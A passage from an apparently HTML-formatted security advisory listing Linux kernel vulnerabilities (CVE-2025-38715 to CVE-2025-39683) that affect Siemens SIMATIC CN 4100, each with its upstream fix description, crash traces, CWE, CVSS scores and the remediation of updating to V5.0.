fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38715\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: hfs: fix slab-out-of-bounds in hfs_bnode_read() This patch introduces is_bnode_offset_valid() method that checks the requested offset value. Also, it introduces check_and_correct_requested_length() method that checks and correct the requested length (if it is necessary). These methods are used in hfs_bnode_read(), hfs_bnode_write(), hfs_bnode_clear(), hfs_bnode_copy(), and hfs_bnode_move() with the goal to prevent the access out of allocated memory and triggering the crash.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38721\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: netfilter: ctnetlink: fix refcount leak on table dump There is a reference count leak in ctnetlink_dump_table(): if (res < 0) { nf_conntrack_get(&ct->ct_general); // HERE cb->args[1] = (unsigned long)ct; ... While its very unlikely, its possible that ct == last. If this happens, then the refcount of ct was already incremented. This 2nd increment is never undone. This prevents the conntrack object from being released, which in turn keeps prevents cnet->count from dropping back to 0. This will then block the netns dismantle (or conntrack rmmod) as nf_conntrack_cleanup_net_list() will wait forever. This can be reproduced by running conntrack_resize.sh selftest in a loop. It takes ~20 minutes for me on a preemptible kernel on average before I see a runaway kworker spinning in nf_conntrack_cleanup_net_list. One fix would to change this to: if (res < 0) { if (ct != last) nf_conntrack_get(&ct->ct_general); But this reference counting isn't needed in the first place. We can just store a cookie value instead. A followup patch will do the same for ctnetlink_exp_dump_table, it looks to me as if this has the same problem and like ctnetlink_dump_table, we only need a 'skip hint', not the actual object so we can apply the same cookie strategy there as well.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-772 Missing Release of Resource after Effective Lifetime\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38723\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: LoongArch: BPF: Fix jump offset calculation in tailcall The extra pass of bpf_int_jit_compile() skips JIT context initialization which essentially skips offset calculation leaving out_offset = -1, so the jmp_offset in emit_bpf_tail_call is calculated by \"#define jmp_offset (out_offset - (cur_offset))\" is a negative number, which is wrong. The final generated assembly are as follow. 54: bgeu $a2, $t1, -8 # 0x0000004c 58: addi.d $a6, $s5, -1 5c: bltz $a6, -16 # 0x0000004c 60: alsl.d $t2, $a2, $a1, 0x3 64: ld.d $t2, $t2, 264 68: beq $t2, $zero, -28 # 0x0000004c Before apply this patch, the follow test case will reveal soft lock issues. cd tools/testing/selftests/bpf/ ./test_progs --allow=tailcalls/tailcall_bpf2bpf_1 dmesg: watchdog: BUG: soft lockup - CPU#2 stuck for 26s! [test_progs:25056]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38724\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: nfsd: handle get_client_locked() failure in nfsd4_setclientid_confirm() Lei Lu recently reported that nfsd4_setclientid_confirm() did not check the return value from get_client_locked(). a SETCLIENTID_CONFIRM could race with a confirmed client expiring and fail to get a reference. That could later lead to a UAF. Fix this by getting a reference early in the case where there is an extant confirmed client. If that fails then treat it as if there were no confirmed client found at all. In the case where the unconfirmed client is expiring, just fail and return the result from get_client_locked().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38725\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net: usb: asix_devices: add phy_mask for ax88772 mdio bus Without setting phy_mask for ax88772 mdio bus, current driver may create at most 32 mdio phy devices with phy address range from 0x00 ~ 0x1f. DLink DUB-E100 H/W Ver B1 is such a device. However, only one main phy device will bind to net phy driver. This is creating issue during system suspend/resume since phy_polling_mode() in phy_state_machine() will directly deference member of phydev->drv for non-main phy devices. Then NULL pointer dereference issue will occur. Due to only external phy or internal phy is necessary, add phy_mask for ax88772 mdio bus to workarnoud the issue.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38727\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: netlink: avoid infinite retry looping in netlink_unicast() netlink_attachskb() checks for the socket's read memory allocation constraints. Firstly, it has: rmem < READ_ONCE(sk->sk_rcvbuf) to check if the just increased rmem value fits into the socket's receive buffer. If not, it proceeds and tries to wait for the memory under: rmem + skb->truesize > READ_ONCE(sk->sk_rcvbuf) The checks don't cover the case when skb->truesize + sk->sk_rmem_alloc is equal to sk->sk_rcvbuf. Thus the function neither successfully accepts these conditions, nor manages to reschedule the task - and is called in retry loop for indefinite time which is caught as: rcu: INFO: rcu_sched self-detected stall on CPU rcu: 0-....: (25999 ticks this GP) idle=ef2/1/0x4000000000000000 softirq=262269/262269 fqs=6212 (t=26000 jiffies g=230833 q=259957) NMI backtrace for cpu 0 CPU: 0 PID: 22 Comm: kauditd Not tainted 5.10.240 #68 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.17.0-4.fc42 04/01/2014 Call Trace: dump_stack lib/dump_stack.c:120 nmi_cpu_backtrace.cold lib/nmi_backtrace.c:105 nmi_trigger_cpumask_backtrace lib/nmi_backtrace.c:62 rcu_dump_cpu_stacks kernel/rcu/tree_stall.h:335 rcu_sched_clock_irq.cold kernel/rcu/tree.c:2590 update_process_times kernel/time/timer.c:1953 tick_sched_handle kernel/time/tick-sched.c:227 tick_sched_timer kernel/time/tick-sched.c:1399 __hrtimer_run_queues kernel/time/hrtimer.c:1652 hrtimer_interrupt kernel/time/hrtimer.c:1717 __sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1113 asm_call_irq_on_stack arch/x86/entry/entry_64.S:808 netlink_attachskb net/netlink/af_netlink.c:1234 netlink_unicast net/netlink/af_netlink.c:1349 kauditd_send_queue kernel/audit.c:776 kauditd_thread kernel/audit.c:897 kthread kernel/kthread.c:328 ret_from_fork arch/x86/entry/entry_64.S:304 Restore the original behavior of the check which commit in Fixes accidentally missed when restructuring the code. Found by Linux Verification Center (linuxtesting.org).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-835 Loop with Unreachable Exit Condition ('Infinite Loop')\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38728\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: smb3: fix for slab out of bounds on mount to ksmbd With KASAN enabled, it is possible to get a slab out of bounds during mount to ksmbd due to missing check in parse_server_interfaces() (see below): BUG: KASAN: slab-out-of-bounds in parse_server_interfaces+0x14ee/0x1880 [cifs] Read of size 4 at addr ffff8881433dba98 by task mount/9827 CPU: 5 UID: 0 PID: 9827 Comm: mount Tainted: G OE 6.16.0-rc2-kasan #2 PREEMPT(voluntary) Tainted: [O]=OOT_MODULE, [E]=UNSIGNED_MODULE Hardware name: Dell Inc. Precision Tower 3620/0MWYPT, BIOS 2.13.1 06/14/2019 Call Trace: dump_stack_lvl+0x9f/0xf0 print_report+0xd1/0x670 __virt_addr_valid+0x22c/0x430 ? parse_server_interfaces+0x14ee/0x1880 [cifs] ? kasan_complete_mode_report_info+0x2a/0x1f0 ? parse_server_interfaces+0x14ee/0x1880 [cifs] kasan_report+0xd6/0x110 parse_server_interfaces+0x14ee/0x1880 [cifs] __asan_report_load_n_noabort+0x13/0x20 parse_server_interfaces+0x14ee/0x1880 [cifs] ? __pfx_parse_server_interfaces+0x10/0x10 [cifs] ? trace_hardirqs_on+0x51/0x60 SMB3_request_interfaces+0x1ad/0x3f0 [cifs] ? __pfx_SMB3_request_interfaces+0x10/0x10 [cifs] ? SMB2_tcon+0x23c/0x15d0 [cifs] smb3_qfs_tcon+0x173/0x2b0 [cifs] ? __pfx_smb3_qfs_tcon+0x10/0x10 [cifs] ? cifs_get_tcon+0x105d/0x2120 [cifs] ? do_raw_spin_unlock+0x5d/0x200 ? cifs_get_tcon+0x105d/0x2120 [cifs] ? __pfx_smb3_qfs_tcon+0x10/0x10 [cifs] cifs_mount_get_tcon+0x369/0xb90 [cifs] ? dfs_cache_find+0xe7/0x150 [cifs] dfs_mount_share+0x985/0x2970 [cifs] ? check_path.constprop.0+0x28/0x50 ? save_trace+0x54/0x370 ? __pfx_dfs_mount_share+0x10/0x10 [cifs] ? __lock_acquire+0xb82/0x2ba0 ? __kasan_check_write+0x18/0x20 cifs_mount+0xbc/0x9e0 [cifs] ? __pfx_cifs_mount+0x10/0x10 [cifs] ? do_raw_spin_unlock+0x5d/0x200 ? cifs_setup_cifs_sb+0x29d/0x810 [cifs] cifs_smb3_do_mount+0x263/0x1990 [cifs]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38729\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ALSA: usb-audio: Validate UAC3 power domain descriptors, too UAC3 power domain descriptors need to be verified with its variable bLength for avoiding the unexpected OOB accesses by malicious firmware, too.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.1\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38732\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: netfilter: nf_reject: don't leak dst refcount for loopback packets recent patches to add a WARN() when replacing skb dst entry found an old bug: WARNING: include/linux/skbuff.h:1165 skb_dst_check_unset include/linux/skbuff.h:1164 [inline] WARNING: include/linux/skbuff.h:1165 skb_dst_set include/linux/skbuff.h:1210 [inline] WARNING: include/linux/skbuff.h:1165 nf_reject_fill_skb_dst+0x2a4/0x330 net/ipv4/netfilter/nf_reject_ipv4.c:234 [..] Call Trace: nf_send_unreach+0x17b/0x6e0 net/ipv4/netfilter/nf_reject_ipv4.c:325 nft_reject_inet_eval+0x4bc/0x690 net/netfilter/nft_reject_inet.c:27 expr_call_ops_eval net/netfilter/nf_tables_core.c:237 [inline] .. This is because blamed commit forgot about loopback packets. Such packets already have a dst_entry attached, even at PRE_ROUTING stage. Instead of checking hook just check if the skb already has a route attached to it.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-911 Improper Update of Reference Count\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.8\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38735\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: gve: prevent ethtool ops after shutdown A crash can occur if an ethtool operation is invoked after shutdown() is called. shutdown() is invoked during system shutdown to stop DMA operations without performing expensive deallocations. It is discouraged to unregister the netdev in this path, so the device may still be visible to userspace and kernel helpers. In gve, shutdown() tears down most internal data structures. If an ethtool operation is dispatched after shutdown(), it will dereference freed or NULL pointers, leading to a kernel panic. While graceful shutdown normally quiesces userspace before invoking the reboot syscall, forced shutdowns (as observed on GCP VMs) can still trigger this path. Fix by calling netif_device_detach() in shutdown(). This marks the device as detached so the ethtool ioctl handler will skip dispatching operations to the driver.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-664 Improper Control of a Resource Through its Lifetime\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38736\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net: usb: asix_devices: Fix PHY address mask in MDIO bus initialization Syzbot reported shift-out-of-bounds exception on MDIO bus initialization. The PHY address should be masked to 5 bits (0-31). Without this mask, invalid PHY addresses could be used, potentially causing issues with MDIO bus operations. Fix this by masking the PHY address with 0x1f (31 decimal) to ensure it stays within the valid range.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39673\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ppp: fix race conditions in ppp_fill_forward_path ppp_fill_forward_path() has two race conditions: 1. The ppp->channels list can change between list_empty() and list_first_entry(), as ppp_lock() is not held. If the only channel is deleted in ppp_disconnect_channel(), list_first_entry() may access an empty head or a freed entry, and trigger a panic. 2. pch->chan can be NULL. When ppp_unregister_channel() is called, pch->chan is set to NULL before pch is removed from ppp->channels. Fix these by using a lockless RCU approach: - Use list_first_or_null_rcu() to safely test and access the first list entry. - Convert list modifications on ppp->channels to their RCU variants and add synchronize_net() after removal. - Check for a NULL pch->chan before dereferencing it.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.9\nMEDIUM\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39675\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: drm/amd/display: Add null pointer check in mod_hdcp_hdcp1_create_session() The function mod_hdcp_hdcp1_create_session() calls the function get_first_active_display(), but does not check its return value. The return value is a null pointer if the display list is empty. This will lead to a null pointer dereference. Add a null pointer check for get_first_active_display() and return MOD_HDCP_STATUS_DISPLAY_NOT_FOUND if the function return null. This is similar to the commit c3e9826a2202 (\"drm/amd/display: Add null pointer check for get_first_active_display()\"). (cherry picked from commit 5e43eb3cd731649c4f8b9134f857be62a416c893)\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39676\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: scsi: qla4xxx: Prevent a potential error pointer dereference The qla4xxx_get_ep_fwdb() function is supposed to return NULL on error, but qla4xxx_ep_connect() returns error pointers. Propagating the error pointers will lead to an Oops in the caller, so change the error pointers to NULL.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-394 Unexpected Status Code or Return Value\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.1\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39681\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: x86/cpu/hygon: Add missing resctrl_cpu_detect() in bsp_init helper Since 923f3a2b48bd (\"x86/resctrl: Query LLC monitoring properties once during boot\") resctrl_cpu_detect() has been moved from common CPU initialization code to the vendor-specific BSP init helper, while Hygon didn't put that call in their code. This triggers a division by zero fault during early booting stage on our machines with X86_FEATURE_CQM* supported, where get_rdt_mon_resources() tries to calculate mon_l3_config with uninitialized boot_cpu_data.x86_cache_occ_scale. Add the missing resctrl_cpu_detect() in the Hygon BSP init helper. [ bp: Massage commit message. ]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-369 Divide By Zero\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39682\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: tls: fix handling of zero-length records on the rx_list Each recvmsg() call must process either - only contiguous DATA records (any number of them) - one non-DATA record If the next record has different type than what has already been processed we break out of the main processing loop. If the record has already been decrypted (which may be the case for TLS 1.3 where we don't know type until decryption) we queue the pending record to the rx_list. Next recvmsg() will pick it up from there. Queuing the skb to rx_list after zero-copy decrypt is not possible, since in that case we decrypted directly to the user space buffer, and we don't have an skb to queue (darg.skb points to the ciphertext skb for access to metadata like length). Only data records are allowed zero-copy, and we break the processing loop after each non-data record. So we should never zero-copy and then find out that the record type has changed. The corner case we missed is when the initial record comes from rx_list, and it's zero length.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39683\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: tracing: Limit access to parser->buffer when trace_get_user failed When the length of the string written to set_ftrace_filter exceeds FTRACE_BUFF_MAX, the following KASAN alarm will be triggered: BUG: KASAN: slab-out-of-bounds in strsep+0x18c/0x1b0 Read of size 1 at addr ffff0000d00bd5ba by task ash/165 CPU: 1 UID: 0 PID: 165 Comm: ash Not tainted 6.16.0-g6bcdbd62bd56-dirty Hardware name: linux,dummy-virt (DT) Call trace: show_stack+0x34/0x50 (C) dump_stack_lvl+0xa0/0x158 print_address_description.constprop.0+0x88/0x398 print_report+0xb0/0x280 kasan_report+0xa4/0xf0 __asan_report_load1_noabort+0x20/0x30 strsep+0x18c/0x1b0 ftrace_process_regex.isra.0+0x100/0x2d8 ftrace_regex_release+0x484/0x618 __fput+0x364/0xa58 ____fput+0x28/0x40 task_work_run+0x154/0x278 do_notify_resume+0x1f0/0x220 el0_svc+0xec/0xf0 el0t_64_sync_handler+0xa0/0xe8 el0t_64_sync+0x1ac/0x1b0 The reason is that trace_get_user will fail when processing a string longer than FTRACE_BUFF_MAX, but not set the end of parser->buffer to 0. Then an OOB access will be triggered in ftrace_regex_release-> ftrace_process_regex->strsep->strpbrk. We can solve this problem by limiting access to parser->buffer when trace_get_user failed.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table 